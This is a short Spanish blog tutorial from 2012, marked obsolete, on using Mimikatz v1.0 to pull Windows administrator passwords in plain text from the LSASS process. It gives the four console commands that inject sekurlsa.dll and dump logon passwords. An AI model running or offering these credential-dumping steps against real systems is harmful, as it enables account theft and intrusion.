31.8.12

Sacar contraseñas de Windows en texto plano con Mimikatz v1.0 [Obsoleto]


¿QUÉ ES MIMIKATZ?

Mimikatz es una herramienta del desarrollador francés Gentil Kiwi que, entre otras características, nos permite sacar las contraseñas de los administradores de un sistema Windows en texto plano. Resumiendo su funcionamiento, si se disponen de permisos de debug sobre el proceso LSASS, esta herramienta inyecta una librería y obtiene las contraseñas en claro de dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible.

PROCEDIMIENTO

1. Descargamos Mimikatz (en este caso la versión 1.0) y lo ejecutamos como administrador.


2. Escribimos 'privilege::debug' y presionamos Enter.


3. Escribimos 'inject::process lsass.exe sekurlsa.dll' y presionamos Enter.


4. Escribimos '@getLogonPasswords' y presionamos Enter.


¡Y listo! Nos aparecen las contraseñas de los administradores del sistema.

No hay comentarios :

Publicar un comentario

¿Hay algún error? ¿Te ha servido? Deja un comentario 😊